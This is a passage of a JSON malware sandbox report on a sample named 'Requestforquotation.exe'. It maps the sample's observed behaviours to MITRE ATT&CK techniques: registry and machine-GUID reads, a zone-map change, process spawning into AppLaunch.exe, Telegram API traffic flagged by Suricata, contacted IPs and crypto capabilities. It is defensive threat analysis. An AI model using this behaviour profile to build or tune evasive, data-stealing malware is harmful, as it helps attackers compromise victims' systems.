Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"Requestforquotation.exe\" called \"FindResourceW\" with parameter \"1\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$28","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"Requestforquotation.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002972.00000000.66405.002D0000.00000004.mdmp, 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002972.00000000.66405.002D0000.00000004.mdmp, 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.549711327845445","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to use Cryptographic classes","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"Requestforquotation.exe\" called \"IsWow64Process\" with parameter \"2972\" - (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"IsWow64Process\" with parameter \"3916\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Requestforquotation.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002972)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"Requestforquotation.exe\" called \"OpenMutexW\" with parameter \"Global\\.net data provider for sqlserver\" - (UID: 00000000-00002972)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"Requestforquotation.exe\" called \"LookupAccountSidW\" with param Name HgNAJMh (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"LookupAccountSidW\" with param Name HgNAJMh (UID: 00000000-00003916)\n \"AppLaunch.exe\" called \"LookupAccountSidW\" with param Name HgNAJMh (UID: 00000000-00003428)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"Requestforquotation.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Requestforquotation.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003916)\n \"Requestforquotation.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"Requestforquotation.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"Requestforquotation.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"WTSRegisterSessionNotification\" (Indicator: \"WTSRegisterSessionNotification\"; Source: \"00000000-00002972.00000000.66405.0013C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"Requestforquotation.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll\" at 00000000-00002972-0000010C-6158420\n \"Requestforquotation.exe\" queries volume information of \"C:\\Requestforquotation.exe\" at 00000000-00002972-0000010C-12531755472771309\n \"AppLaunch.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" at 00000000-00003428-0000010C-12531755472079648","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Requestforquotation.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET HUNTING Telegram API Domain in DNS Lookup\" (SID: 2033966, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Telegram API Certificate Observed\" (SID: 2029322, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$2f","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"Requestforquotation.exe\" called \"CreateProcessA\" with parameter \"C:\\Requestforquotation.exe\" - (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$31","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.godaddy.com\"\n \"crl.godaddy.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.220:443\"\n \"192.124.249.23:80\"\n \"192.124.249.36:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"OCpW.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$32","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"GetObject\"; File: \"Request for quotation.bin\")\n Found reference to API (Indicator: \"MessageBox\"; File: \"Request for quotation.bin\")\n Found reference to API (Indicator: \"WTSRegisterSessionNotification\"; Source: \"00000000-00002972.00000000.66405.0013C000.00000004.mdmp\")\n Found reference to API (Indicator: \"GetObject\"; Source: \"00000000-00002972.00000000.66405.00ED2000.00000020.mdmp, 00000000-00002972.00000001.66899.00590000.00000004.mdmp, 00000000-00002972.00000001.66899.00ED2000.00000020.mdmp, 00000000-00002972.00000001.66899.04C10000.00000004.mdmp\")\n Found reference to API (Indicator: \"MessageBox\"; Source: \"00000000-00002972.00000000.66405.00ED2000.00000020.mdmp, 00000000-00002972.00000001.66899.00ED2000.00000020.mdmp, 00000000-00002972.00000001.66899.04C10000.00000004.mdmp\")\n Found reference to API (Indicator: \"CryptEncrypt\"; Source: \"00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"System\\CurrentControlSet\\Control\\Nls\\RegionMapping\" in Source: 00000000-00002972.00000000.66405.01BF0000.00000004.mdmp\n \"SOFTWARE\\Microsoft\\.NETFramework\\AppContext\" in Source: 00000000-00002972.00000000.66405.01BF0000.00000004.mdmp\n \"Registry\\Machine\\System\\CurrentControlSet\\Control\\Keyboard Layout\" in Source: 00000000-00002972.00000000.66405.7F6F0000.00000002.mdmp\n 00000000-00002972.00000001.66899.7F6F0000.00000002.mdmp\n \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" in Source: 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\n \"o turn this feature off, remove the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog].\" in Source: 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\n \"REGISTRY\\USER\\S-1-5-21-2092356043-4041700817-663127204-1001\\Software\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers\" in Source: 00000000-00002972.00000001.66899.002D0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\.net data provider for sqlserver\"\n \"Global\\.net data provider for sqlserver\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Request for quotation.bin\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (Indicator: \"mozilla/4.0 (\"; Source: \"00000000-00003916-00000C7C-15385506896117681683\")\n Found string \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;\" (Indicator: \"mozilla/4.0 (\"; Source: \"00000000-00003916-00000C7D-15385506896117681752\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"Requestforquotation.exe\" called \"WScript.Shell.1.RegRead\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...\n \"Requestforquotation.exe\" called \"Msxml2.ServerXMLHTTP.6.0.send\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...\n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.send\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","mitre_attack_id":"T1546.015","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Requestforquotation.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 67780000\n \"AppLaunch.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 66FD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Requestforquotation.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75170000\n \"Requestforquotation.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74D30000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"Requestforquotation.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 683E0000\n \"Requestforquotation.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68B90000\n \"AppLaunch.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 683E0000\n \"AppLaunch.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68B90000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Requestforquotation.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 775D0000\n \"AppLaunch.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 775D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Loads the visual basic runtime environment","description":"\"Requestforquotation.exe\" loaded module \"%WINDIR%\\System32\\msvbvm60.dll\" at 72940000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"Requestforquotation.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"Requestforquotation.exe\" called \"WScript.Shell.1.RegRead\" ... \n \"Requestforquotation.exe\" called \"WScript.Shell.1.RegWrite\" ... \n \"Requestforquotation.exe\" called \"Msxml2.ServerXMLHTTP.6.0.CreateObject\" ... \n \"Requestforquotation.exe\" called \"Msxml2.ServerXMLHTTP.6.0.open\" ... \n \"Requestforquotation.exe\" called \"Msxml2.ServerXMLHTTP.6.0.setRequestHeader\" ... \n \"Requestforquotation.exe\" called \"Msxml2.ServerXMLHTTP.6.0.send\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.CreateObject\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.open\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.setRequestHeader\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.send\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.responseText\" ... \n \"Requestforquotation.exe\" called \"Microsoft.XMLHTTP.1.0.responseText\" with result: \"{'ok':false,'error_code':400,'description':'Logged out'}\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"16001700e8d07e6d@Gdi32\"\n \"150016003cca7e6d@ADVAPI32.dll\"\n \"0e000f00b4ca7e6d@ADVAPI32.dll\"\n \"0e000f00e8ca7e6d@ADVAPI32.dll\"\n \"1100120048cf7e6d@ADVAPI32.dll\"\n \"11001200b4cf7e6d@ADVAPI32.dll\"\n \"12001300c8cf7e6d@ADVAPI32.dll\"\n \"12001300f0cf7e6d@ADVAPI32.dll\"\n \"14001500d4e47e6d@ADVAPI32.dll\"\n \"14001500ece47e6d@ADVAPI32.dll\"\n \"1400150004e57e6d@ADVAPI32.dll\"\n \"170018001ce57e6d@ADVAPI32.dll\"\n \"0d000e0034e57e6d@ADVAPI32.dll\"\n \"0f00100060e67e6d@ADVAPI32.dll\"\n \"14001500a0e67e6d@ADVAPI32.dll\"\n \"14001500b8e67e6d@ADVAPI32.dll\"\n \"0c000d0000e77e6d@ADVAPI32.dll\"\n \"0c000d0010e77e6d@ADVAPI32.dll\"\n \"0e000f0020e77e6d@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Request for quotation.bin\" was detected as \".NET\" and name: \"Library\"\n \"Request for quotation.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$36","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"Request for quotation.bin\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"Request for quotation.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Request for quotation.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$38","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x113e00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x113d2c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable 